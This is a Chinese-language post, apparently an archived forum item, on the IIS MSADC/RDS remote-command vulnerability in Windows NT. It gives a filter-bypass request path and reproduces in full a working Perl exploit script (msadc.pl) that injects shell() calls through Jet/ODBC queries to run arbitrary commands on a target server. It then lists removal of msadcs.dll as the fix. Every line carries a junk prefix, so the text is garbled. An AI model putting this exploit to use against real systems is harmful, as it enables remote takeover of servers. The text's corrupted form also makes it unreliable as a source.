IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
le-Q&* }vbs6u 涉及程序:
f 6h!wx Microsoft NT server
hVB^: p|z\L}0 描述:
5xawa:K 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
VSlIeZ m*MfGj( 详细:
TYQ7jt0=.- 如果你没有时间读详细内容的话,就删除:
E$'Zd,|f= c:\Program Files\Common Files\System\Msadc\msadcs.dll
AVys`{*c 有关的安全问题就没有了。
02_%a1g HNRZ59Yyq 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
-&u2C}4s yqm^4)Dp 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
.}>DEpc:n 关于利用ODBC远程漏洞的描述,请参看:
L/,W VE<&0d< http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 2?9SM@nAY w{t2Oo6Q0+ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
w34&m http://www.microsoft.com/security/bulletins/MS99-025faq.asp e.<$G' 1{8SKfMdP 这里不再论述。
$vC!Us{z y^#jM 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Jbud_.h9 8v},&rhPQq /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
<(YmkOS+ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Y7yh0r_ 06 kjJ4 SEn-8ZF #将下面这段保存为txt文件,然后: "perl -x 文件名"
))"
*[ uM\(#jZ #!perl
{CM%QMM #
9OeY59
: # MSADC/RDS 'usage' (aka exploit) script
3d^zLL #
e5bRi0 # by rain.forest.puppy
f -N: #
D6trqB # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
&wbe^Wp # beta test and find errors!
E>tlY&0[$ uFM]4v3 use Socket; use Getopt::Std;
!\Y85o>JU getopts("e:vd:h:XR", \%args);
p m+_s]s, 85rXm*Df print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
PK#; \Zw @'.(62v if (!defined $args{h} && !defined $args{R}) {
TbqED\5@9w print qq~
.z
u0GsU= Usage: msadc.pl -h <host> { -d <delay> -X -v }
=}Np0UP -h <host> = host you want to scan (ip or domain)
~7Ey9wRkD -d <seconds> = delay between calls, default 1 second
JG xuB*} -X = dump Index Server path table, if available
?lJm}0> -v = verbose
x |
= -e = external dictionary file for step 5
eeX^zaKl] x:W nF62 Or a -R will resume a command session
cD&53FPXC <0OZ9?,dm ~; exit;}
LXr
yv;H }Yt/e-Yg%r $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
a"^0;a if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
qJ=4HlLno if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
CO e"te if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
[hs_HYqJ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
X\tE#c&K if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
a%"mgCB !424K-nW if (!defined $args{R}){ $ret = &has_msadc;
`+_UG^aeW die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
V @A+d[ q@K;u[zFK print "Please type the NT commandline you want to run (cmd /c assumed):\n"
5[.Dlpa'7 . "cmd /c ";
JivkY"= F $in=<STDIN>; chomp $in;
VG*Tdaua~ $command="cmd /c " . $in ;
E5D5 uGIA4CUm if (defined $args{R}) {&load; exit;}
hj@< wU 1|)l6#hOL print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
%$/t`'&o- &try_btcustmr;
6/`$Y!.ub 5z8CUDt
0 print "\nStep 2: Trying to make our own DSN...";
0e1W& &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
5gnNgt~ 0d!1;jy,T print "\nStep 3: Trying known DSNs...";
lub(chCE[ &known_dsn;
Ws"eF0,'Z CL{R.OA print "\nStep 4: Trying known .mdbs...";
n82N@z<8] &known_mdb;
[03$*BCq 3 07WZ w1(; if (defined $args{e}){
pI2g\cH> print "\nStep 5: Trying dictionary of DSN names...";
qdoJIP{ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
dI'cZt~n HMyw:? print "Sorry Charley...maybe next time?\n";
ea-NqdGs;m exit;
>Q&E4j C P6,~0v(S ##############################################################################
J(+I` g_?:G$1H sub sendraw { # ripped and modded from whisker
p!^.;c sleep($delay); # it's a DoS on the server! At least on mine...
40cgsRa| my ($pstr)=@_;
d#yb($HAJ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
'f0*~Wq| die("Socket problems\n");
Ipo?>To if(connect(S,pack "SnA4x8",2,80,$target)){
>5C|i-HX select(S); $|=1;
s)Bmi print $pstr; my @in=<S>;
CAg\-*P| select(STDOUT); close(S);
\DsP'-t return @in;
19a/E1 } else { die("Can't connect...\n"); }}
G0p|44_~t d<mj=V@bd ##############################################################################
,H!E :k hhjT{>je sub make_header { # make the HTTP request
_^cDB1I? my $msadc=<<EOT
g3~e#vdz POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
~ _C[~- User-Agent: ACTIVEDATA
D 3m4:z Host: $ip
[4uTp[U!r Content-Length: $clen
rjzRZ Connection: Keep-Alive
4$Oakl*l _[|~(lDJl ADCClientVersion:01.06
7FL!([S5i Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
y/t{*a
rUjK1A{V --!ADM!ROX!YOUR!WORLD!
{qO[93yg)/ Content-Type: application/x-varg
] h3~>8< Content-Length: $reqlen
+92/0 ^Glmg}>q EOT
K=x>%6W7b ; $msadc=~s/\n/\r\n/g;
8[ return $msadc;}
3|4jS"t{f \T)2J|mW ##############################################################################
c@d[HstBJ .&O}/B sub make_req { # make the RDS request
O>]I!n`!!A my ($switch, $p1, $p2)=@_;
9\9:)q my $req=""; my $t1, $t2, $query, $dsn;
@~pIyy\_ HGqT"NJr if ($switch==1){ # this is the btcustmr.mdb query
&,B\ig1Jf $query="Select * from Customers where City=" . make_shell();
eSvS<\p $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
!{'C.sb?~ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
QcBuUFf!c ,CiN@T \& elsif ($switch==2){ # this is general make table query
D:`b61sWi_ $query="create table AZZ (B int, C varchar(10))";
O iRhp( $dsn="$p1";}
r;}%} /IX yhzC 9nTH elsif ($switch==3){ # this is general exploit table query
jWHv9XtW $query="select * from AZZ where C=" . make_shell();
v x qsK $dsn="$p1";}
gA0:qEL\ ykFm$ 0m+I elsif ($switch==4){ # attempt to hork file info from index server
chw6_ctR> $query="select path from scope()";
*?sdWRbu}l $dsn="Provider=MSIDXS;";}
%j3XoRex>< QWL$F:9: elsif ($switch==5){ # bad query
mx`QBJ $query="select";
:x"Q[079 $dsn="$p1";}
a<%Ivqni l":\@rm` $t1= make_unicode($query);
fuRCM^U( $t2= make_unicode($dsn);
D#VUx9kugv $req = "\x02\x00\x03\x00";
\F`%vZrKR $req.= "\x08\x00" . pack ("S1", length($t1));
(jj=CLe $req.= "\x00\x00" . $t1 ;
@smjXeFo $req.= "\x08\x00" . pack ("S1", length($t2));
)fPN6x/e $req.= "\x00\x00" . $t2 ;
#0OW0:Q $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
fpd4 v|( return $req;}
WC2sRv4]3 &y\7pAT\ ##############################################################################
TsiI5'tx B?bdHO:E~ sub make_shell { # this makes the shell() statement
ySkz5K+|g return "'|shell(\"$command\")|'";}
Sfl. &A( bF_SD\/ ##############################################################################
c,
IAz {=3&_/9s){ sub make_unicode { # quick little function to convert to unicode
2%!yV~Z my ($in)=@_; my $out;
mKTE%lsH for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
pNt,RRoR return $out;}
w|t}.u 5~,usA* ##############################################################################
0Y|"Bo9k _+B{n^ { sub rdo_success { # checks for RDO return success (this is kludge)
t3P$UR% my (@in) = @_; my $base=content_start(@in);
Y6+/_$N4| if($in[$base]=~/multipart\/mixed/){
Sbzx7 *X return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Ms>CO7Nvy return 0;}
7+'&(^c l% \p ##############################################################################
~<.%sVwE }Od=WQv+ sub make_dsn { # this makes a DSN for us
\+iZdZD my @drives=("c","d","e","f");
y=HM]EH> print "\nMaking DSN: ";
NCX`-SLv foreach $drive (@drives) {
T<ka4 print "$drive: ";
xR~9|H9a my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
>;s!X(6b "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
$cSmub ZK . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
S UBrFsA $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
3[*x'"Q;H return 0 if $2 eq "404"; # not found/doesn't exist
~rfUqM]I if($2 eq "200") {
r"4&.&6 foreach $line (@results) {
z*ly`-! return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
};m.8(}$) } return 0;}
]39])ul rnSrkn"j{ ##############################################################################
x'iBEm GeFu_7u!| sub verify_exists {
ET\>cxSp my ($page)=@_;
-n"7G%$M my @results=sendraw("GET $page HTTP/1.0\n\n");
P;bOtT -- return $results[0];}
|_\q5?S bbG!Fg=qQ? ##############################################################################
v"x'rx# U6IvN@
g sub try_btcustmr {
3gQ2wP*K my @drives=("c","d","e","f");
SYYg
2I my @dirs=("winnt","winnt35","winnt351","win","windows");
dF+R
q|n{ \R.Fmeko foreach $dir (@dirs) {
u`gY/]y! print "$dir -> "; # fun status so you can see progress
vSv:!5* foreach $drive (@drives) {
wDt9Lf
O print "$drive: "; # ditto
5?HoCz]l $reqlen=length( make_req(1,$drive,$dir) ) - 28;
)Im3';qt $reqlenlen=length( "$reqlen" );
Tqm)- |[ $clen= 206 + $reqlenlen + $reqlen;
4c,{Js 2>F`H7W my @results=sendraw(make_header() . make_req(1,$drive,$dir));
4"et4Y7 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
3e?a$~9 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
f^[u70c82 f-5}`)`.+ ##############################################################################
\~#$o34V gE$@:j sub odbc_error {
tD+K4
^ my (@in)=@_; my $base;
!glGW[r/7 my $base = content_start(@in);
:^ J'_ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
vq8&IL $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
pIgjo>K $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
dk.VH!uVb $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
[J6q(}f return $in[$base+4].$in[$base+5].$in[$base+6];}
(;2]`D [x print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
`y*o-St3 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
TIVrbO\!o $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
=`f"8,5 %R-KkK<S ##############################################################################
A08{]E#v> Y/`*t(/5 sub verbose {
#RTiWD[o my ($in)=@_;
x`Ik747^v return if !$verbose;
^ jT1q_0 print STDOUT "\n$in\n";}
f1RX`rXf 6#(rWW"_ ##############################################################################
Ir$:e*E> YnwP\Arfq sub save {
S)z5=N(Xz my ($p1, $p2, $p3, $p4)=@_;
F:cenIaBF open(OUT, ">rds.save") || print "Problem saving parameters...\n";
&BkdC,o print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
f4lC*nCN close OUT;}
KO&oT#S vF.Ml ##############################################################################
4qmaL+Q J/ZC<dkYQ sub load {
_?~)B\@~0 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
#_4JTGJ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
N-<m/RS @p=<IN>; close(IN);
p WLFJH}N $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
.J.|
S4D $target= inet_aton($ip) || die("inet_aton problems");
dx[kG print "Resuming to $ip ...";
>n6yKcjY] $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
YfUUbV if($p[1]==1) {
+i6XCN1= $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
v@;!fBUt $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
+,A7XBn my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
[y1
x`WOk9 if (rdo_success(@results)){print "Success!\n";}
$ZfoJR]% else { print "failed\n"; verbose(odbc_error(@results));}}
N
Uq'96{Y elsif ($p[1]==3){
g@B,0JRh if(run_query("$p[3]")){
V;>u() print "Success!\n";} else { print "failed\n"; }}
8[mj*^P elsif ($p[1]==4){
E|5lm if(run_query($drvst . "$p[3]")){
TP?HxO_C print "Success!\n"; } else { print "failed\n"; }}
K!onV3mR exit;}
~@N0$S *u?N{LkqS ##############################################################################
(H-Y-Lk+ )R]gJ_,c sub create_table {
oar`xH$C my ($in)=@_;
(#%R'9Rv $reqlen=length( make_req(2,$in,"") ) - 28;
Fmux#}Z $reqlenlen=length( "$reqlen" );
#+6t| $clen= 206 + $reqlenlen + $reqlen;
Q2 @Ugt$ my @results=sendraw(make_header() . make_req(2,$in,""));
xXm:S{I return 1 if rdo_success(@results);
Ss
c3uo 0 my $temp= odbc_error(@results); verbose($temp);
~<&47'D return 1 if $temp=~/Table 'AZZ' already exists/;
%9P)Okq return 0;}
of>"qrdZ +/Q?<*[ ##############################################################################
k| Ye[GM* DV">9{"5'] sub known_dsn {
*>f-UNV # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
o6~9.~_e my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
2h^9lrQcQG "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
0'O*Y
]h+ "banner", "banners", "ads", "ADCDemo", "ADCTest");
A3=$I&!% 1L:sck5k foreach $dSn (@dsns) {
WG?;Z print ".";
("$ ,FRTQ: next if (!is_access("DSN=$dSn"));
Z_Z; g]|! if(create_table("DSN=$dSn")){
XexslzI print "$dSn successful\n";
,}hJ) if(run_query("DSN=$dSn")){
>:yU bo) print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
(hv>vfY@ print "Something's borked. Use verbose next time\n";}}} print "\n";}
/>E:}1}{ 3(/J(8 ##############################################################################
%juR6zB%8 5,n{-V sub is_access {
ywS2`( my ($in)=@_;
(iw)C)t*u $reqlen=length( make_req(5,$in,"") ) - 28;
wqyrs|P $reqlenlen=length( "$reqlen" );
Ar:ezA $clen= 206 + $reqlenlen + $reqlen;
"/MA.zEl0, my @results=sendraw(make_header() . make_req(5,$in,""));
\L@DDK|"`6 my $temp= odbc_error(@results);
[O52Bn verbose($temp); return 1 if ($temp=~/Microsoft Access/);
K@UQ O return 0;}
E6FT*}Q %Z#s9QC ##############################################################################
Q1yj+)_ _jr'A -M sub run_query {
u:FFZ my ($in)=@_;
*tD`X(K $reqlen=length( make_req(3,$in,"") ) - 28;
D+"-(k $reqlenlen=length( "$reqlen" );
3?rYt:Uf! $clen= 206 + $reqlenlen + $reqlen;
cLpkgK&a my @results=sendraw(make_header() . make_req(3,$in,""));
}&h*bim return 1 if rdo_success(@results);
a7Fc"s* my $temp= odbc_error(@results); verbose($temp);
Z[{k-_HgAm return 0;}
DfJHH)Ry} `0qBuE_^h ##############################################################################
rL=_z^.P D<35FD, sub known_mdb {
M_Qv{ my @drives=("c","d","e","f","g");
=vaC?d3 my @dirs=("winnt","winnt35","winnt351","win","windows");
|dxcEjcY_ my $dir, $drive, $mdb;
ojA i2uz my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
g[d.lJ=Q-N ]U8VU # this is sparse, because I don't know of many
|<q9Ee my @sysmdbs=( "\\catroot\\icatalog.mdb",
zL<<`u? "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
\~:Uj~ "\\system32\\certmdb.mdb",
1Y-m=~J7 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
aj71oki) {B_pjs my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
"&,Gn#'FG "\\cfusion\\cfapps\\forums\\forums_.mdb",
P})Iwk|Z "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
yl=_ /'* "\\cfusion\\cfapps\\security\\realm_.mdb",
W_##8[r(? "\\cfusion\\cfapps\\security\\data\\realm.mdb",
EMV<PshW= "\\cfusion\\database\\cfexamples.mdb",
[9:'v@Ph "\\cfusion\\database\\cfsnippets.mdb",
opKk#40 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
.=nx5yz "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
.[E"Kb}= "\\cfusion\\brighttiger\\database\\cleam.mdb",
-666|pA "\\cfusion\\database\\smpolicy.mdb",
BJdH2qREN "\\cfusion\\database\cypress.mdb",
XU3v#Du "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
krw_1Mm "\\website\\cgi-win\\dbsample.mdb",
7HpfHqJ7 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
kbxy^4"X "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
"0nT:!BZ ); #these are just
h#o3qY foreach $drive (@drives) {
.!kO2/:6 foreach $dir (@dirs){
q Z,7q foreach $mdb (@sysmdbs) {
t~luBUF print ".";
Z]1=nSv if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Zj*kHjn" print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Aj9Onz,Lg if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
{G+pI2^ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
rT2gX^Mj& } else { print "Something's borked. Use verbose next time\n"; }}}}}
d"1DE qm.30 2 foreach $drive (@drives) {
Xy74D/ocui foreach $mdb (@mdbs) {
yN0!uzdW* print ".";
#q06K2 if(create_table($drv . $drive . $dir . $mdb)){
<h$Nh0 print "\n" . $drive . $dir . $mdb . " successful\n";
3c"$@W:> if(run_query($drv . $drive . $dir . $mdb)){
QJcaOXyMS print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
PFqc_!Pm } else { print "Something's borked. Use verbose next time\n"; }}}}
aXoD{zA }
%7X<:f|N8x =1JS6~CTLN ##############################################################################
6N%fJ ^l UV^%f sub hork_idx {
Y7vTseq print "\nAttempting to dump Index Server tables...\n";
%~V+wqu print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
X`[P11` $reqlen=length( make_req(4,"","") ) - 28;
X}Ey6*D: $reqlenlen=length( "$reqlen" );
COE,pb17 $clen= 206 + $reqlenlen + $reqlen;
UN~dzA~V my @results=sendraw2(make_header() . make_req(4,"",""));
2 kOFyD
if (rdo_success(@results)){
4@K9% my $max=@results; my $c; my %d;
F/"Q0% (m for($c=19; $c<$max; $c++){
\(nb
>K $results[$c]=~s/\x00//g;
'f#i@$|] $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
yqy5i{Y $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
d},IQ,Az:Z $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
sHqs)@D $d{"$1$2"}="";}
N=>6PLie foreach $c (keys %d){ print "$c\n"; }
uhyw?#f } else {print "Index server doesn't seem to be installed.\n"; }}
Zu4|1W vhw"Nl ##############################################################################
0ssKZ9Lc !)jw o=l}J sub dsn_dict {
j>2Jw'l;? open(IN, "<$args{e}") || die("Can't open external dictionary\n");
F{#m~4O while(<IN>){
LvWl*:z $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
bIFKP next if (!is_access("DSN=$dSn"));
Yy 4EM if(create_table("DSN=$dSn")){
y_^w| print "$dSn successful\n";
QT1(= wK3 if(run_query("DSN=$dSn")){
T 4}SF print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
C~do*rnM^ print "Something's borked. Use verbose next time\n";}}}
j@kL`Q\&I print "\n"; close(IN);}
Cm~h\+" D;f[7Cac ##############################################################################
63s<U/N ;j#$d@VG" sub sendraw2 { # ripped and modded from whisker
%X)i-^T sleep($delay); # it's a DoS on the server! At least on mine...
pK)*{fC$` my ($pstr)=@_;
}pE8G#O& socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
-mSiZ die("Socket problems\n");
#RE if(connect(S,pack "SnA4x8",2,80,$target)){
%5N;SRtv print "Connected. Getting data";
x.V6C0|6" open(OUT,">raw.out"); my @in;
)$V &Nf
select(S); $|=1; print $pstr;
rsbdDTy while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
A),nkw0X close(OUT); select(STDOUT); close(S); return @in;
GZ L{~7n } else { die("Can't connect...\n"); }}
U'pm5Mc\q s\c*ibxM, ##############################################################################
%ZNp -Cb<T"7 sub content_start { # this will take in the server headers
1B;-ea my (@in)=@_; my $c;
TBfX1v|Z) for ($c=1;$c<500;$c++) {
G;:D6\ if($in[$c] =~/^\x0d\x0a/){
+O<0q"E if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
/Q7cQ2[EU else { return $c+1; }}}
9NH"Ik* return -1;} # it should never get here actually
9m2_zfO[w _Qy3A T~ ##############################################################################
jL$&]sQ`O) SZOcFmC? sub funky {
QjW7XVxB#N my (@in)=@_; my $error=odbc_error(@in);
Evz;eobW/ if($error=~/ADO could not find the specified provider/){
"K EB0U print "\nServer returned an ADO miscofiguration message\nAborting.\n";
j1!P:( exit;}
7wt2|$Qz if($error=~/A Handler is required/){
!6eXJ#~[E print "\nServer has custom handler filters (they most likely are patched)\n";
4(aDi;x "w exit;}
\`w!v,aM$ if($error=~/specified Handler has denied Access/){
)7mX]@ print "\nServer has custom handler filters (they most likely are patched)\n";
39;Z+s"; exit;}}
S-
Mh0o" lFWN[`H ##############################################################################
=<-tD< (fgX!G[W sub has_msadc {
BX[92~Bq my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Ep%5wR my $base=content_start(@results);
1sFTXl return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
M\wIpRD, return 0;}
RU!j"T
5 t#+X*'/ ########################
&tFVW[( _m!TUT8o ?^i$} .%W 解决方案:
7@g8nv(p 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
6KiI3%y?0 2、移除web 目录: /msadc